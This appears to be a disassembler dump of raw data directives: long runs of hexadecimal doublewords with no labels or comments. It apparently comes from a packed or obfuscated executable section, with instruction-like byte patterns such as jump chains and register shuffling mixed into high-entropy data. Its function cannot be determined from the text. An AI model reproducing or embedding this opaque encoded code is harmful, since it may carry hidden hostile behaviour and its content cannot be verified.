		dd 0A2AEBD9Fh, 60CB7E0Ah, 9589F13Ah, 122F7821h,	0E6D324C1h
		dd 0CA8DD212h, 5C843A60h, 0CBDACB51h, 0A8FD50FEh, 8418469Dh
		dd 2EF96DFFh, 0BF4472CEh, 0FD06F75Bh, 8D714C55h, 82EE2292h
		dd 0C0247BE5h, 0D7F6921Ah, 1793076h, 0E4BC592Dh, 0A6EBB1E9h
		dd 76D77A0Eh, 9BB6C330h, 1E64D337h, 77A6303Ah, 69AD1120h
		dd 0D1F037BFh, 9714E64h, 0D6F2AEAh, 0A740E476h,	28BD861Bh
		dd 6ABF6ED2h, 9488B5CAh, 78555E4Fh, 1F895C94h, 5349B1CEh
		dd 6D58AD52h, 310C19F6h, 0BF869C4Dh, 5B6A2ECBh,	9F5F6AD1h
		dd 522D332Dh, 714C59B4h, 0C5F005E2h, 39E71h, 84260000h
		dd 0FDD4DE9Ch, 7A57A009h, 0E6D12796h, 6F52AB12h, 0D7EE329Bh
		dd 5F66BA63h, 0C5FC02EBh, 40798871h, 0CFFA0DFCh, 0EC81CF7Bh
		dd 4, 57242C89h, 0C781E789h, 4,	4EF81h,	3C870000h, 3C895C24h
		dd 58836824h, 2C890000h, 0BF575124h, 0A966C58h,	8AAE781h
		dd 81470529h, 116B75CFh, 0EF81471Ah, 0F8D11D28h, 0D15FF989h
		dd 81D9F7E9h, 4DDBA5F1h, 59CF89E9h, 4EC81h, 24890000h
		dd 24048124h, 4, 0BA52515Dh, 46781746h,	4206EAC1h, 2A28E281h
		dd 0D2F77C99h, 447DE281h, 0F28139E9h, 39E0447Dh, 15AD189h
		dd 593989E9h, 5D2434FFh, 8B04C483h, 8953243Ch, 4C381E3h
		dd 83000000h, 1C8704C3h, 64E95C24h, 74FFF976h, 82AB8F8h
		dd 0C5030612h, 7742E0FFh, 6AD53C8Ah, 66FE18EEh,	681B7E7Eh
		dd 0AC0614B7h, 8A014487h, 0DC406985h, 0DC257C76h, 98107292h
		dd 0DEB7377Ch, 12EC17E3h, 69146385h, 0EA1F16C2h, 2C1A62AAh
		dd 2A6D2E68h, 0EDE965D5h, 60000000h, 0A8D88C66h, 0DF840F04h
		dd 8B000000h, 0B2151B5h, 0FE8306h, 22850Fh, 85C60000h
		dd 60B2845h, 69696845h,	0B5FF8E72h, 60B0B01h, 7D18858Dh
		dd 0D0FF060Eh, 2F4D8589h, 0F08B060Bh, 0FE93E80h, 3185h
		dd 0CB858D00h, 0FF061078h, 75BD8BD0h, 81060B1Fh, 1184C7h
		dd 51B58B00h, 87060B21h, 8B9F7h, 0A4F30000h, 2151B58Bh
		dd 858D060Bh, 60F1732h,	0B58BD0FFh, 60B230Dh, 0F00FE83h
		dd 2285h, 4585C600h, 54060B28h,	4EBEF468h, 1B5FFFFh, 8D060B0Bh
		dd 0E7D1885h, 89D0FF06h, 0B230D85h, 80F08B06h, 850FE93Eh
		dd 3Ah,	230DB58Bh, 858D060Bh, 61078CBh,	0BD8BD0FFh, 60B1F75h
		dd 1184C781h, 0C7830000h, 0DB58B08h, 87060B23h,	8B9F7h
		dd 0A4F30000h, 230DB58Bh, 858D060Bh, 60F1732h, 0C361D0FFh
		dd 91F858Dh, 85890612h,	60B14CDh, 0F53F04EBh, 0D0E919FAh
		dd 0FD000005h, 0A44192A9h, 12F36051h, 0FC29CA07h, 0AB449FA6h
		dd 4EF56E51h, 81BCC427h, 516CB552h, 24136582h, 88C5CE3Fh
		dd 224AA66Bh, 0C58617A6h, 0DEE25A29h, 0A514F8D5h, 71F3605Fh
		dd 1D3B4FE7h, 0B68CC394h, 5560B598h, 0D2EF38E1h, 5968BF6Eh
		dd 0F9112C93h, 0B63E2FA3h, 5A50B098h, 0F151A24Bh, 2F4795A8h
		dd 0C3942F5Bh, 61F2D62Ch, 9E457084h, 0A4282771h, 201F6796h
		dd 7FCE785Ch, 0C6B71B26h, 4C3D81B0h, 0BF8A9F37h, 2F93F7CBh
		dd 0C4B63771h, 856A7B39h, 6E9F4473h, 0B0C22825h, 942C483Ch
		dd 71FBDFC3h, 942C89FDh, 0A241EC3h, 2C5F2E06h, 0D597C394h
		dd 1DE1DC28h, 18950F39h, 24136590h, 6BFEA750h, 51E502C6h
		dd 0C069D37Dh, 0E9324118h, 93h,	0F8D5DE77h, 1DAEDC14h
		dd 0E466C394h, 44FCA277h, 5CB00435h, 0A80D51A3h, 53A9247Eh
		dd 32410BBAh, 197h, 50BD7100h, 4C807445h, 729CABFDh, 0D0288C9Bh
		dd 372519EDh, 941DCBBFh, 2665CC3h, 980963D8h, 0BE74578Bh
		dd 5E88B7CFh, 0C5F403EAh, 0EB3AEB71h, 0BA0E314Bh, 2F9E6246h
		dd 58F6EAD5h, 2296ADF5h, 0AD11287Bh, 3498A9FCh,	4BC7C6DCh
		dd 5F44415Bh, 0DFA7948h, 0D7B33BF8h, 58C39481h,	31DC0E62h
		dd 0FD891DE6h, 72C39481h, 6CA01408h, 0DED321C2h, 94E00DDAh
		dd 71F1D5B9h, 0C3941D15h, 3A97A09Ah, 0FFCF6241h, 9F4E3216h
		dd 30636288h, 68DB6E61h, 23C92D10h, 944CFF8Bh, 160A70C3h
		dd 5632BAC4h, 99C3944Ch, 0F98D231Fh, 53A7102Fh,	0DFA39AEAh
		dd 1BC54DFBh, 1D678C19h, 0C3D43122h, 5F98EC00h,	2B6FC394h
		dd 0E0B62537h, 0A1D1C4F3h, 0DEAAC228h, 51C39491h, 0E24BBF69h
		dd 67D6BA97h, 0EB522611h, 0B0D45891h, 37C39491h, 0BD1BEFC3h
		dd 72856A7Bh, 0BB9FF347h, 79931286h, 32417EC0h,	8CE9h
		dd 0DADE7700h, 0DCCA71FBh, 0EDC2E86Dh, 793B4FE7h, 0B68CC394h
		dd 0AF92EB52h, 0C149E7DBh, 437A8A7Bh, 6059A8A5h, 0C3FE0BFAh
		dd 65ED1B7Fh, 11F6F72Dh, 0FE2F340Bh, 0EA519BBAh, 0EE642158h
		dd 73847585h, 709EF246h, 50A35298h, 0B6AA97ECh,	0ED608EC2h
		dd 1FBCAE95h, 0D5237537h, 0FD2B5DFAh, 81848CBAh, 0BF7E9213h
		dd 0EA324162h, 4Ah, 6EDADE72h, 536EBD25h, 0A5B71B7Fh, 0F21C2D78h
		dd 4E320D1Bh, 17FC092Bh, 0A721320Dh, 0F8162B76h, 0FAD7DE02h
		dd 1DAFDE16h, 2D67C394h, 0F0C168A0h, 13E83240h,	0
		dd 84C064F6h, 0BC39411h, 114B3F37h, 0E6DCC394h,	0D3DED248h
		dd 3E2C136Bh, 941DD2B6h, 96D55C3h, 0F6C3D485h, 7C435B02h
		dd 0FAD92188h, 0EBFA3C16h, 37E66A97h, 286CD0EFh, 0C029A4FEh
		dd 0CDF80DB1h, 32210579h, 0D9031864h, 9EFC4055h, 299DE5BDh
		dd 0D91A3740h, 1AEEDB2Ch, 60C0B8CAh, 0DFEA3D3Ah, 457C826Bh
		dd 0D82C9DF1h, 0F12B19EDh, 5D879AF4h, 635EAB50h, 370217F0h
		dd 0BC899A43h, 99146EC8h, 0C92A2770h, 35CE1ECFh, 15C0B2Ch
		dd 0BDD50000h, 2B1A791Eh, 3DE639D6h, 0EBBB44A3h, 0B8042261h
		dd 198D5FE4h, 0BD9E1378h, 2E156D98h, 0A5C90300h, 3A61A321h
		dd 94785CA6h, 673ED025h, 0C7847D8Fh, 5BB4AF83h,	0AC91E64Eh
		dd 5AC53FD8h, 0DAB68B1Fh, 2C3E82E6h, 8A7E0AA2h,	89F13A61h
		dd 74D8F100h, 217F610h,	93954337h, 81F8E12h, 764B5039h
		dd 152075D8h, 405342CEh, 0D6BA879Ch, 202A9EF2h,	618AF88Ch
		dd 170B4F3Ah, 0C76150A6h, 3687B455h, 4C9D2Ch, 6F7B0000h
		dd 5BE5770Ch, 0C06E5BAAh, 941D0034h, 0C91367C3h, 0E25337BFh
		dd 7BD43C6Bh, 55A91D2Ch, 0F373D771h, 3C6BE297h,	441AAB8Dh
		dd 0E697F737h, 1430DD1Dh, 92665DA5h, 1C905ABEh,	3C6BE938h
		dd 0F421CB0Fh, 0FD7690A1h, 8906h, 50BDAE00h, 1F6B8348h
		dd 90C3941Dh, 55C2B6AAh, 2075346Fh, 0CD7B5F66h,	4A90ABF1h
		dd 9FC18322h, 2F6CCBDh,	19A84E5Bh, 9CA2A35Eh, 8FFB73F9h
		dd 3A61D5h, 0E914C63Ah,	4594A39Eh, 88986739h, 41AE49E7h
		dd 6CD31934h, 0E584D030h, 7ED27C5Eh, 611BA9F6h,	7570A03Ah
		dd 954E7B8Ch, 2002A41Bh, 49D05C2h, 0B1CAD2EAh, 4E5903ABh
		dd 0E8D24473h, 5560B564h, 0B13C74E1h, 9EABFA2Bh, 0CB502C70h
		dd 40E78D21h, 62584E65h, 0D6F03F1h, 0D2A699E3h,	0CF231E6Bh
		dd 7FF701EBh, 0C3941D0Bh, 0CFD7A69Ch, 1EC80CF0h, 23B2D84Ch
		dd 0A00DBD86h, 0B0947851h, 0EB4602AAh, 0F1C93A79h, 3740299Dh
		dd 5746D01Ah, 488C704Fh, 79EBCCB8h, 0D17F433Ah,	91ACF916h
		dd 0CC12052Dh, 41D5C91h, 9EE45539h, 6226D3A7h, 0EDC72F63h
		dd 0D3EE3BE0h, 0BA879C09h, 0E93AEB8Ch, 0DC6822Ah, 71491991h
		dd 0BAC0A91Dh, 8E0A379Bh, 0B08D967Fh, 43142A3h,	0CDFB0h
		dd 84790000h, 830073E8h, 975058BCh, 0D4DE8379h,	57A009FDh
		dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
		dd 798871C5h, 0FA0DFC40h, 68CF7BCFh, 608Ah, 53243C89h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h,	0E2895224h
		dd 4C281h, 0EA830000h, 24148704h, 2404895Ch, 43876850h
		dd 35580EBEh, 8AC49A4h,	48BC689h, 4C48324h, 4EC81h, 24890000h
		dd 24048124h, 4, 0F3895358h, 8B951h, 0C1010000h, 5B591989h
		dd 5124048Bh, 0C181E189h, 4, 4C181h, 0C870000h,	348B5C24h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F96F46E9h
		dd 0B8A244FFh, 6120F5Bh, 0E0FFC503h, 3D06388Bh,	524679Dh
		dd 151417E7h, 69B7D05Eh, 6A4668FBh, 7A594309h, 24E7DA6Eh
		dd 494B2CEFh, 2F9D62C4h, 58D1A1Fh, 3680BC8Ah, 29F725B2h
		dd 61BC000Fh, 6E52C8CEh, 869B78h, 6E3CDF7Eh, 71701F2h
		dd 33A9AC63h, 24B60486h, 2D68C4CFh, 42955E18h, 20FEE362h
		dd 2BA5FBE4h, 2A481174h, 42E8485Dh, 3ACE82B2h, 715AF7F8h
		dd 8EBh, 0B0350000h, 0D1E94999h, 68000004h, 612117Bh, 0F96EB6E9h
		dd 11E368FFh, 0ACE90612h, 68FFF96Eh, 6121375h, 0F96EA2E9h
		dd 3F4BFFh, 0D6E332D3h,	0B891E00Dh, 0D344ABBh, 0DCE339D6h
		dd 52A9B007h, 3EC774Eh,	0F31CC7FAh, 5C49AAA5h, 14E57E4Bh
		dd 0D3450D4h, 0CCBBC586h, 0FBDADE54h, 417C8471h, 9B6F99FDh
		dd 0FD4E132h, 0F47E5EFDh, 80E05956h, 50B6D25Ah,	0C139C394h
		dd 7E059727h, 6CF978ECh, 0C76BD9Fh, 22D8A8B8h, 970D3A61h
		dd 304BE216h, 18662C36h, 8E000003h, 6B312D46h, 0A7E20AD0h
		dd 0A8BD9F05h, 51D8852h, 5BAB103Eh, 3F046E92h, 0E9730894h
		dd 374CE43Ch, 6EA2160Ah, 0C7862EC0h, 48411055h,	96F27A84h
		dd 1935107Bh, 7BA52121h, 0D02A3510h, 66BF6EFCh,	7848F75Bh
		dd 22AE445Eh, 0D337D135h, 0B0BAC1DBh, 93AEF726h, 0A93DEB2Fh
		dd 4B1BF8D4h, 84B5C4A9h, 72F8DC30h, 985B7683h, 202F1A6Fh
		dd 8FD96FDBh, 294F0002h, 0A5000003h, 0CF97A51h,	0FA2BC8F9h
		dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh,	39041D8Ah
		dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C5860C0Eh,	0BD4A3281h
		dd 84084150h, 8616A640h, 2DC76FFDh, 0BEBD862Ch,	0D7049644h
		dd 0CF999513h, 65E80639h, 0D233201Fh, 2303F7CEh, 3C867F9Ch
		dd 6CFBD623h, 8665F5B9h, 0C175CA38h, 3D000002h,	0E401D2E9h
		dd 52B3A091h, 3CE90A47h, 0EB04DFE6h, 0EB5AE91h,	0C1FC04E7h
		dd 91ACF512h, 6453A542h, 0C8050EFFh, 0E20AE62Bh, 0C5860CE6h
		dd 6F229A69h, 40E4760Dh, 0BD862CAAh, 2DA61348h,	6FB61006h
		dd 947842C1h, 796E2C5Ch, 2ABBF93Ah, 2D8037D6h, 1E1122Ch
		dd 0DEFA0000h, 28176DD5h, 0F7C3BDEFh, 8EE20A73h, 9962B15Ch
		dd 94067115h, 0A88CF6C3h, 0C246E024h, 52A60E1Bh, 47BB9F63h
		dd 0A1BAC29Ch, 2AE33BBh, 4DF2BD9Fh, 0B50512AFh,	734E5924h
		dd 0B9574B8Fh, 549C605Ah, 3A613834h, 0DE32B3E1h, 2C35322Fh
		dd 1F6B830Dh, 903A6130h, 54E57CAAh, 3000000h, 9AE30D6Fh
		dd 0D6CE067Ch, 0D83C00C5h, 2E3C1074h, 823C3F9Ch, 2AF7BB90h
		dd 10C968FCh, 0B9CBBD9Fh, 60F65135h, 42ECD63Ah,	0D909FDC5h
		dd 3A60F6A9h, 23A9247Ch, 14D4C0BCh, 5FF86B81h, 9139CFA3h
		dd 3426C0FCh, 2C34FA15h, 98A5FA2Bh, 0D0EB6Eh, 0DE750000h
		dd 0A514F8D5h, 68FA605Fh, 941D80C4h, 43307C3h, 9B0279C2h
		dd 0CC44E277h, 4A758F7Eh, 0E96482C6h, 6CDDA19Ch, 3054D81Bh
		dd 0B7C394EBh, 62F46F43h, 0C394EEBCh, 9A597481h, 0BF8A9F0Eh
		dd 0D46F0D91h, 94ADD906h, 2ADAEB37h, 0DFA72FCh,	9EBD99DEh
		dd 3247B6A4h, 0F507E907h, 72F24A46h, 4EFB91C1h,	0DD675E09h
		dd 0A9A442A6h, 0FFE6C53h, 387ECFFAh, 0B751B519h, 63C9D33Ch
		dd 7C50241Bh, 0D518CF18h, 1BEF8660h, 12FA4h, 605FAB00h
		dd 360312F3h, 98B1C02Dh, 6D54AA5Bh, 3C0319F6h, 0B2499027h
		dd 638C576Eh, 0D33C271Ah, 0BC698AC5h, 74855E6Bh, 0E1470F4h
		dd 2C9BC586h, 0FBDADEB4h, 0F201EC78h, 14D520DFh, 65C406CFh
		dd 43142CBh, 0D5DE39DFh, 0CBB9023h, 0C82CC6C5h,	0ABA6F322h
		dd 0CD45E327h, 253E0B1Ch, 0D2182379h, 74CC1B40h, 3747AD18h
		dd 0EE29BEEAh, 0B7511432h, 9EFC882Fh, 0DC2794BDh, 0BA21E027h
		dd 7149C660h, 5DAC59EBh, 5676129Ah, 81F93A60h, 4BE5D9ADh
		dd 5C87BEC2h, 6056BACAh, 0D3EE3B3Ah, 0A29DE700h, 8A79DEh
		dd 6F830000h, 5AE4760Dh, 1824B4E5h, 20446C43h, 0C394A1A4h
		dd 55F3D72Bh, 86906F81h, 509AE0BDh, 906453A5h, 8CBBCDBCh
		dd 262AC438h, 0CC172277h, 17FBD623h, 9F7696C5h,	4C9A453Eh
		dd 0C936D2A2h, 0F42E8CF1h, 0CA0710F9h, 9EABFC29h, 43B432Ah
		dd 0FE0F85B0h, 22310C19h, 0F49014A6h, 7569F716h, 52A81722h
		dd 714C59B4h, 1ECA8Dh, 94260000h, 0C51EFF27h, 343CD3A5h
		dd 69F72B50h, 0E7B638D7h, 7D6FEEFEh, 6A67B019h,	9C8446BCh
		dd 9FDD4DEh, 967A57A0h,	12E6D127h, 9B6F52ABh, 63D7EE32h
		dd 0EB5F66BAh
		dd 71C5FC02h, 0FC407988h, 7BCFFA0Dh, 0E78957CFh, 4C781h
		dd 0EF810000h, 4, 5C243C87h, 68242C89h,	322Bh, 68243489h
		dd 1BF6h, 55240489h, 0CE2198BDh, 10B8500Ah, 0F76D145Ch
		dd 8D1E05D0h, 0C53179F0h, 5DEE8958h, 8904EC83h,	4832424h
		dd 52580424h, 8BAh, 89C20100h, 24148B32h, 0FF04C483h, 81582434h
		dd 4C4h, 2434FF00h, 4C4815Eh, 0E9000000h, 0FFF969FBh, 5B9C1B5Ch
		dd 0B67BCBA5h, 82EAC245h, 1214C9B8h, 0FFC50306h, 0F6E5EFE0h
		dd 63ED4B0Ch, 0F3CEF443h, 0F900514h, 0C4684068h, 3800F924h
		dd 8A6EEA71h, 5060D752h, 0E1257B4Ch, 9F28E27Dh,	0CDDB447Fh
		dd 2B33659h, 69F2E94Eh,	321E4A4Fh, 0D872A507h, 40CCC444h
		dd 0B181D23h, 11592904h, 96293D75h, 0D0B8686Dh,	57304103h
		dd 0B1A7FB1Ah, 4A0EA13h, 0CDB60166h, 14E83Bh, 0D5C00000h
		dd 0FDC3EC74h, 76AC6A75h, 905A9309h, 75E63C45h,	0BF66F325h
		dd 0F95BB240h, 6CDCC381h, 0FA8B0000h, 0B8h, 99BA6600h
		dd 1834FF9Fh, 8850Fh, 50600000h, 0A6BF6659h, 0F59613Eh
		dd 0C181F1BFh, 6EB21B4Eh, 6880Fh, 8F0F0000h, 0
		dd 83E0C181h, 8B0F7F86h, 9, 3830Fh, 0E2800000h,	0B6F181BFh
		dd 662C736Fh, 347CD681h, 8E951h, 0A90F0000h, 0C1E2A608h
		dd 48F997Eh, 0FAB70F03h, 14E8h,	9308CC00h, 5AADBF2Bh, 2736CAEAh
		dd 3203F91Bh, 36E96AE0h, 0E8815E84h, 76589AFh, 81D3B70Fh
		dd 6589ABC0h, 11E907h, 3C640000h, 0A1057717h, 5535E90Bh
		dd 241D61C6h, 815EDC97h, 0FF9418F8h, 12850FFFh,	66000000h
		dd 686BCA81h, 1DE9h, 583DB00h, 0C2BE0325h, 6DF8175h, 0E9386339h
		dd 0FFFFFF3Dh, 7A46CD5Fh, 0A36E7519h, 8D8D2E7Bh, 6121765h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 33C35040h
		dd 0E759251Bh, 0BF0FF08Bh, 4D8D89F9h, 89060B17h, 0B001D95h
		dd 1985C706h, 0C4060B01h, 6A000068h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0A5E5C353h
		dd 9C8447D5h, 0DC5C6752h, 31818D89h, 0F5B7060Bh, 100985C7h
		dd 60Bh, 0B5FF0000h, 60B1AA9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 4DC35646h, 0DEDB30ADh, 20B45155h
		dd 259D8B22h, 0FF060B22h, 0B0AC595h, 6AF806h, 32DD95FFh
		dd 0C08B060Bh, 0AB6A4FEBh, 0CF7CE3BAh, 7869F6BEh, 562233D3h
		dd 0FB7E137Bh, 4FB10B69h, 145C9FEFh, 0A2D446CFh, 0B9CBD3F0h
		dd 49398B3Ah, 98E6A9E5h, 17C968F5h, 0E8F2F51Ah,	5EC5C0BFh
		dd 28DFAC49h, 19AF0878h, 8C4CA90h, 0CBE583FBh, 0AB312E3Bh
		dd 0B139639Bh, 0E504EB8Dh, 0E961553Ah, 0D39h, 12197768h
		dd 6769E906h, 0A868FFF9h, 0E906121Ah, 0FFF9675Fh, 121C9468h
		dd 6755E906h, 0B468FFF9h, 0E906121Dh, 0FFF9674Bh, 12212A68h
		dd 6741E906h, 7F68FFF9h, 0E9061222h, 0FFF96737h, 12236E68h
		dd 672DE906h, 0C2D4FFF9h, 68BF688Bh, 1E6D9A59h,	0CFD73023h
		dd 7E8263F0h, 3E259C47h, 79FAC5DFh, 0A94A778Ch,	0C61D287Ch
		dd 72E1DC29h, 0BFCB6389h, 30C58605h, 0D5DEDB41h, 4CE072F8h
		dd 0C3941D38h, 178C4B8Fh, 578DA593h, 67D63AD4h,	295DD112h
		dd 0FEC3940Ch, 288DC14h, 9CE651E7h, 1365D4B8h, 0EFA55024h
		dd 0D1EC39DEh, 1175F90Bh, 96C39462h, 4E182ACh, 0EA1BC1FCh
		dd 0E024A895h, 3740AD46h, 0FB4F7A8Fh, 6EDFA387h, 0B9CB2825h
		dd 68FC374Ch, 0C394621Ch, 0A14BAF93h, 9462790Dh, 5AF4CEC3h
		dd 3B213A42h, 9F662EB3h, 573B1FBDh, 6164EF9Fh, 6F7E3A3Ah
		dd 35867495h, 2F5D2Ch, 6FBB0000h, 40E4760Dh, 0BD9F05D1h
		dd 5090645Eh, 3A60CB30h, 0E46867B1h, 6CD0EF35h,	0A35E65BDh
		dd 77AAE4E1h, 0C168A02Dh, 0E82C35C6h, 0D9h, 0F8D5DE74h
		dd 46798372h, 98709EF2h, 675AA352h, 13C44C9h, 2530AFBDh
		dd 941D9F45h, 3E4BC26Ch, 0D82CD903h, 8FF7931Bh,	278C394h
		dd 0C208002Eh, 0FA8E26B0h, 4DC3948Fh, 8F89FD75h, 241EC394h
		dd 0DBF6030Ah, 8A299618h, 314C394h, 0B7C02D36h,	0A6F6369Ah
		dd 0D2274F9Dh, 13BD9F8Eh, 126A342Fh, 214BE309h,	9A446CEFh
		dd 3D4BBAA0h, 526DBB02h, 0F27CAAEEh, 1DC6F903h,	5A95A8F0h
		dd 8C6B7BC8h, 0DB78DF2Bh, 0A900000Ah, 10FD665Dh, 0FE2F3405h
		dd 0A8459EB3h, 17F06352h, 9221320Dh, 5568B04Bh,	2518618Eh
		dd 88C7D13Eh, 5C69BA6Bh, 7EF67A87h, 0C586040Ah,	0BDB62E9Dh
		dd 0DE084150h, 0C02A156Fh, 9AC0259Bh, 94537612h, 7681F9C3h
		dd 0F40D4C61h, 0B83BD5C9h, 0D40F3A4Fh, 760D6F2Ch, 0D7EA39E4h
		dd 9E3FB739h, 0EFBD9F05h, 455441ABh, 0A24C8074h, 0CBC686AEh
		dd 3E473A60h, 0CB1571F5h, 0A09A3A60h, 711F84Ch,	160C44C8h
		dd 9A46FB97h, 406B7C25h, 608EAF7Fh, 0B33D4746h,	60634F3Bh
		dd 7E21C03Ah, 93F55681h, 7CDE086Ch, 2C35A1CDh, 0CAE4h
		dd 50BD0000h, 4E82764Bh, 6D58ADA0h, 0D5E83099h,	185EC161h
		dd 0D421C394h, 3FEE7AF9h, 0DE2FD9E8h, 0C614F8D5h, 0E65430B4h
		dd 0E7DB3C6Bh, 0EA277549h, 6BE60642h, 5DB1893Ch, 1BDE7D8Fh
		dd 0B449B1C9h, 0F3C68EB8h, 744260BBh, 0F389D50Eh, 136A8268h
		dd 0EC446D03h, 40594496h, 0C367638Bh, 92E83072h, 58F6CABEh
		dd 0F91D6796h, 0FBD2F80Ah, 0D50E62DAh, 2F4BE45Bh, 3FE0D849h
		dd 0D9E43C11h, 6CBC060Eh, 1AFD558Ch, 9AAh, 0CE152C76h
		dd 78FBD621h, 964D7C8Fh, 0C1122179h, 72E1DC24h,	3B419CC3h
		dd 0E92EDF04h, 969E0FD4h, 3E4BA4BFh, 0C12BD003h, 8607D9ADh
		dd 79DFAEC5h, 78FBDADEh, 944F7A8Fh, 0AE95ED18h,	417E6DAh
		dd 0DE251B35h, 0C614F8D5h, 1D5430B4h, 3EB6C394h, 0C3941D4Ah
		dd 201AE5DDh, 0C7F20706h, 1DFA8A1Ch, 2E7BC394h,	0D227C013h
		dd 7D8875E7h, 6A84F84Ch, 0D7E237E6h, 4ABBB563h,	0C2E4023Fh
		dd 69C9DAC3h, 2AC92D10h, 0EC980C9Eh, 0EC3941Dh,	941DE2E6h
		dd 0A21D65C3h, 3A8EB5CDh, 0DA44E2C6h, 3240F133h, 0B61Eh
		dd 19639200h, 93EB5226h, 0B89E48ACh, 0E4760D6Fh, 9F0C4D40h
		dd 14F8C2BDh, 60D0ACDCh, 2F3793Ah, 1D71C5FCh, 0DC34B1F3h
		dd 2C34DA2Dh, 8604h, 10699400h,	7E526FB8h, 50BD6AD0h, 0C356AE48h
		dd 7F1D106Eh, 6819ED1Bh, 5AC39430h, 0BB333942h,	0BD9F2836h
		dd 0C7203307h, 94F074BDh, 1B3A611Eh, 0ED7FC327h, 1EBFCB63h
		dd 0C95D3A61h, 3A611EBDh, 0B4FC832h, 0A0BBC1DDh, 1C1332BAh
		dd 261C446Ah, 89C4D03Dh, 506DB263h, 8A7EA8ECh, 9CE40A92h
		dd 85F9DDA1h, 0DEA6DF57h, 0C3374E76h, 0E20A9410h, 2E4AC2E6h
		dd 0F71169h, 562h, 0AEDA52DCh, 212E4AC2h, 6FC92FD9h, 40E4760Dh
		dd 0BD9F24D1h, 46DBBF5Eh, 520C2BF1h, 2A5A8A7Eh,	0FF3A603Ch
		dd 39D028A5h, 102C342Eh, 532h, 2E3A46FCh, 0DFABC34Eh, 50C3941Dh
		dd 40E4766Ah, 0BD9F0545h, 4D9FF0CAh, 0A8EE5AA0h, 8DC1B5A9h
		dd 0D42C9363h, 0DAA2E2A5h, 26139B41h, 7EDB08Bh,	4D2F4F33h
		dd 805D2CEDh, 443586B6h, 3A200435h, 0BD70CAB2h,	8F5DA5F7h
		dd 3B38151Eh, 0F3971FA9h, 74878238h, 3D4E77D5h,	564A6E3Bh
		dd 754055B8h, 3C9364FAh, 0DCB3973Ch, 7BEh, 0D201384Ah
		dd 0CD7E235h, 0BAB990E3h, 0D50E354Dh, 6DDE038h,	4F55A8BFh
		dd 0FD02E370h, 0A2F213C0h, 4A5F48ABh, 0D517E47Fh, 86013551h
		dd 55CBBAC5h, 94450BDh,	0A6A74185h, 9C9C605Dh, 6D198D00h
		dd 0E2C3941Dh, 9B6A498h, 64B726CBh, 92ADE155h, 193737D0h
		dd 0BEADF57h, 77BBD9Fh,	0E1DC28D5h, 5D0F391Dh, 8A6964B0h
		dd 2E3C0B1Dh, 2A9EA9FFh, 20043B43h, 0A6220206h,	5E3A6111h
		dd 3A61212Eh, 77E57E1Eh, 6A049AFFh, 0A3176B44h,	7DC8C383h
		dd 5B4A1630h, 0B5897D4Ch, 748C199Bh, 262AC5D5h,	3AFCh
		dd 0D6F1800h, 0AB5AE476h, 3FC76158h, 0BD9F1F2Ah, 0A615C73Bh
		dd 630B9D89h, 0CC608A27h, 3A6057B8h, 351DCB0Fh,	75119527h
		dd 0FA3A6057h, 29707780h, 5C7B2574h, 294DB2h, 6FD70000h
		dd 40E4760Dh, 0BD9F299Dh, 0B4898E7Fh, 96F27AC0h, 193A60F7h
		dd 2423CD21h, 35E06ADEh, 0D0990EE0h, 4872212Bh,	0BD44BA54h
		dd 1DCFBB33h, 7A40C394h, 193441CCh, 532B72CEh, 0F649B980h
		dd 69Eh, 3221186Ah, 6CF7C2D5h, 9A597083h, 352E156Dh, 66FDC0D8h
		dd 2F7588DFh, 0DD22C310h, 829273E0h, 2A7FA84Bh,	3537C41Fh
		dd 8600D5B1h, 75EB5AC5h, 0E4760D6Fh, 1DB6D25Ah,	0E237C394h
		dd 502F63D7h, 0E810CCB1h, 4EA2BA53h, 7BA6CEA0h,	0CCBD9F46h
		dd 4A98EC00h
		dd 2B6F3A61h, 0CF94337h, 478CCFDh, 0E01663EAh, 6545334Fh
		dd 0F50DFC0Bh, 22067ACEh, 0F825B731h, 0D5299DA0h, 615F691Dh
		dd 911FE3Ah, 0AC38D6CAh, 652A505Dh, 881900BFh, 0B7C67B3h
		dd 77BCFF2h, 0E2B90523h, 0C94307AFh, 0BACA113Eh, 7CDB3F83h
		dd 65312206h, 0BC839917h, 0F71A9258h, 486F35FDh, 0C8DF8E72h
		dd 603C7AF9h, 0F89D11DBh, 20710146h, 8A6A1E96h,	10FD0500h
		dd 38D6CA07h, 0D313E7DBh, 5008AB3h, 0E345FA66h,	0EB96A9CCh
		dd 310C14E5h, 0F8109D17h, 0F8D46651h, 15878h, 824BF000h
		dd 0D4C33227h, 6F160C3Ah, 40E4760Dh, 0BD9F345Dh, 74494EBFh
		dd 0B1057DDAh, 5182BFC8h, 0E25663B4h, 2BF78342h, 4819B65h
		dd 0A4BF8A9Fh, 0D9033E4Bh, 0A2F3B062h, 0B2967A57h, 96A54785h
		dd 45E3DE27h, 79ED7FCDh, 113DD60Dh, 0C68EB882h,	4E76D907h
		dd 0FF437286h, 7FCE030Eh, 70B51928h, 2CE9A520h,	0EE9A129Ch
		dd 6168CA8Ch, 8C0347EFh, 0BE8468CAh, 0FB0AAC5Ah, 2F340112h
		dd 0C66EB5FEh, 68CA8C82h, 7FC3FE0Bh, 9446BC1Bh,	0CA8C7410h
		dd 0A387FB68h, 0A5BADFDFh, 8C2B3FB7h, 0C63C68CAh, 203B411Dh
		dd 0F347853Ah, 0E641D64Dh, 0A05F0140h, 0E50323FCh, 16E30Bh
		dd 0E3D716C1h, 0FD65AE1Fh, 0BFA498A7h, 8408454Eh, 0C6C5C0ACh
		dd 2EBFF566h, 0F06735AAh, 5577FE4Dh, 744152BBh,	0BAE147EFh
		dd 0BEDDEA92h, 68AFDB53h, 0D94DF36Ah, 0F36A68ADh, 1B7FD822h
		dd 0C6D33C27h, 93FA618Bh, 0A10C015Fh, 955DB553h, 0D2DDA01h
		dd 8D21B3B1h, 692318F9h, 0B994E14Eh, 739DF1D5h,	3A4FB431h
		dd 181175F9h, 0AC966923h, 9FDC8DDh, 8602D135h, 4C300F17h
		dd 1A6FDE08h, 39435B2Fh, 0E4833822h, 995AE0FDh,	79ED7FA9h
